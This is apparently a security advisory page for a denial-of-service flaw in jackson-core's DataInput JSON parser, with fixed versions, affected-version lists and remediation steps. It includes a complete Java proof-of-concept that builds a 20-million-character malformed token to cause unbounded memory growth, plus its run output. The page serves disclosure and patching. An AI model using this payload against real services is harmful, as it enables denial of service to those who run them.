com.fasterxml.jackson.core:jackson-core: jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)
What fixes it
- 2.21.7com.fasterxml.jackson.core:jackson-core, mavenGitHub
<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.21.7</version></dependency> - 2.22.3com.fasterxml.jackson.core:jackson-core, mavenGitHub
<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.22.3</version></dependency> - 3.1.7tools.jackson.core:jackson-core, mavenGitHub
<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-core</artifactId><version>3.1.7</version></dependency> - 3.2.3tools.jackson.core:jackson-core, mavenGitHub
<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-core</artifactId><version>3.2.3</version></dependency> - 2.18.11com.fasterxml.jackson.core:jackson-core, mavenGitHub
<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.18.11</version></dependency> - 2.21.7com.fasterxml.jackson.core:jackson-core, MavenOSV
<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.21.7</version></dependency>
Show all 10 fixed versions
- 2.22.3com.fasterxml.jackson.core:jackson-core, MavenOSV
<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.22.3</version></dependency> - 3.1.7tools.jackson.core:jackson-core, MavenOSV
<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-core</artifactId><version>3.1.7</version></dependency> - 3.2.3tools.jackson.core:jackson-core, MavenOSV
<dependency><groupId>tools.jackson.core</groupId><artifactId>jackson-core</artifactId><version>3.2.3</version></dependency> - 2.18.11com.fasterxml.jackson.core:jackson-core, MavenOSV
<dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.18.11</version></dependency>
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Status
FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through createParser(InputStream) produced a correctly bounded 367-character message.
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java
(_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)
Technical Analysis
UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its exception message by appending identifier characters one at a time to a bare StringBuilder:
protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
StringBuilder sb = new StringBuilder(matchedPart);
while (true) {
char c = (char) _decodeCharForError(ch);
if (!Character.isJavaIdentifierPart(c)) {
break;
}
sb.append(c);
ch = _inputData.readUnsignedByte();
}
_reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}There is **no check against ErrorReportConfiguration.getMaxErrorTokenLength()** (default 256) anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the same logic does enforce it:
// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
sb.append("...");
break;
}ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit — this is a defect isolated to the DataInput-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree.
This path is additionally left with no fallback control: because of [core#1570]-related logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no configuration an application can set to mitigate this specific path.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder
Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)
import com.fasterxml.jackson.core.*;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
public class PoC6_UnboundedErrorTokenStringBuilder {
static class RepeatingByteInputStream extends InputStream {
private final int b;
private long remaining;
RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
@Override public int read() {
if (remaining <= 0) return -1;
remaining--;
return b;
}
}
public static void main(String[] args) throws Exception {
final long IDENTIFIER_CHAR_COUNT = 20_000_000L;
System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
+ " Java-identifier characters ('x'), then a terminating space, never completing"
+ " \"true\"/\"false\"/\"null\"/NaN.\n");
System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
DataInputStream dataIn = new DataInputStream(raw);
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser((java.io.DataInput) dataIn);
long heapBefore = usedHeap();
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
long heapAfter = usedHeap();
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
+ "-character payload (unbounded)? " + (msgLen > 1_000_000));
}
System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser(raw);
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
}
}
static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
}
static long usedHeap() {
Runtime rt = Runtime.getRuntime();
System.gc();
return rt.totalMemory() - rt.freeMemory();
}
}Captured Evidence (actual run output)
Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.
=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true
=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? trueThe same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded InputStream path and a 20,000,109-character message via the vulnerable DataInput path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference.
Impact
Any application creating parsers via JsonFactory.createParser(DataInput) over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering OutOfMemoryError and denying service to the whole JVM process. Critically, no available configuration mitigates this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength does not apply to this code path.
Remediation
- Add the
maxErrorTokenLengthcheck to the append loop in
UTF8DataInputJsonParser._reportInvalidToken(), appending "..." and breaking when the limit is reached — mirroring the three other parser implementations exactly.
- Add a parameterized regression test across all four parser implementations asserting the
exception message length is bounded by maxErrorTokenLength plus a small constant.
- Consider extracting this bounded-scan logic into a single shared helper on
ParserMinimalBase to prevent this class of per-implementation drift recurring.
Text from GitHub Advisory Database
Affected versions 100
- com.fasterxml.jackson.core:jackson-core, maven>= 2.19.0, <= 2.21.6GitHub
- com.fasterxml.jackson.core:jackson-core, maven>= 2.22.0, <= 2.22.2GitHub
- tools.jackson.core:jackson-core, maven>= 3.0.0, <= 3.1.6GitHub
- tools.jackson.core:jackson-core, maven>= 3.2.0, <= 3.2.2GitHub
- com.fasterxml.jackson.core:jackson-core, maven>= 2.8.0, <= 2.18.10GitHub
- jackson-coreaffected: 2.8.0 through 2.18.10CVE List
- jackson-coreaffected: 2.19.0 through 2.21.6CVE List
- jackson-coreaffected: 2.22.0 through 2.22.2CVE List
- jackson-coreaffected: 3.0.0 through 3.1.6CVE List
- jackson-coreaffected: 3.2.0 through 3.2.2CVE List
- com.fasterxml.jackson.core:jackson-core, Mavenfrom 2.19.0, fixed in 2.21.7OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.19.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.19.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.19.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.19.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.19.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.20.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.20.0-rc1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.20.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.20.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.5OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.21.6OSV
- com.fasterxml.jackson.core:jackson-core, Mavenfrom 2.22.0, fixed in 2.22.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.22.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.22.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.22.2OSV
- tools.jackson.core:jackson-core, Mavenfrom 3.0.0, fixed in 3.1.7OSV
- tools.jackson.core:jackson-core, Maven3.0.0OSV
- tools.jackson.core:jackson-core, Maven3.0.1OSV
- tools.jackson.core:jackson-core, Maven3.0.2OSV
- tools.jackson.core:jackson-core, Maven3.0.3OSV
- tools.jackson.core:jackson-core, Maven3.0.4OSV
- tools.jackson.core:jackson-core, Maven3.1.0OSV
- tools.jackson.core:jackson-core, Maven3.1.0-rc1OSV
- tools.jackson.core:jackson-core, Maven3.1.1OSV
- tools.jackson.core:jackson-core, Maven3.1.2OSV
- tools.jackson.core:jackson-core, Maven3.1.3OSV
- tools.jackson.core:jackson-core, Maven3.1.4OSV
- tools.jackson.core:jackson-core, Maven3.1.5OSV
- tools.jackson.core:jackson-core, Maven3.1.6OSV
- tools.jackson.core:jackson-core, Mavenfrom 3.2.0, fixed in 3.2.3OSV
- tools.jackson.core:jackson-core, Maven3.2.0OSV
- tools.jackson.core:jackson-core, Maven3.2.1OSV
- tools.jackson.core:jackson-core, Maven3.2.2OSV
- com.fasterxml.jackson.core:jackson-core, Mavenfrom 2.8.0, fixed in 2.18.11OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.0.pr1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.0.pr2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.0.pr3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.10.5OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.11.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.11.0.rc1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.11.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.11.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.11.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.11.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.0-rc1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.0-rc2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.5OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.6OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.12.7OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.0-rc1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.0-rc2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.13.5OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.0-rc1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.0-rc2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.0-rc3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.14.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.0-rc1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.0-rc2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.0-rc3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.1OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.2OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.3OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.15.4OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.16.0OSV
- com.fasterxml.jackson.core:jackson-core, Maven2.16.0-rc1OSV
References 7
- github.com/FasterXML/jackson-core/pull/1698Fixvia CVE List
- github.com/FasterXML/jackson-core/commit/211cf2c5d91abbec38067f37efc1363cd4e88ee3Fixvia GitHub
- github.com/FasterXML/jackson-core/releases/tag/jackson-core-2.18.11Fixvia GitHub
- github.com/FasterXML/jackson-core/releases/tag/jackson-core-3.2.3Fixvia GitHub
- github.com/advisories/GHSA-7hhh-6rmp-j9qfAdvisoryvia GitHub
- github.com/FasterXML/jackson-core/security/advisories/GHSA-7hhh-6rmp-j9qfExploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-89425Referencevia GitHub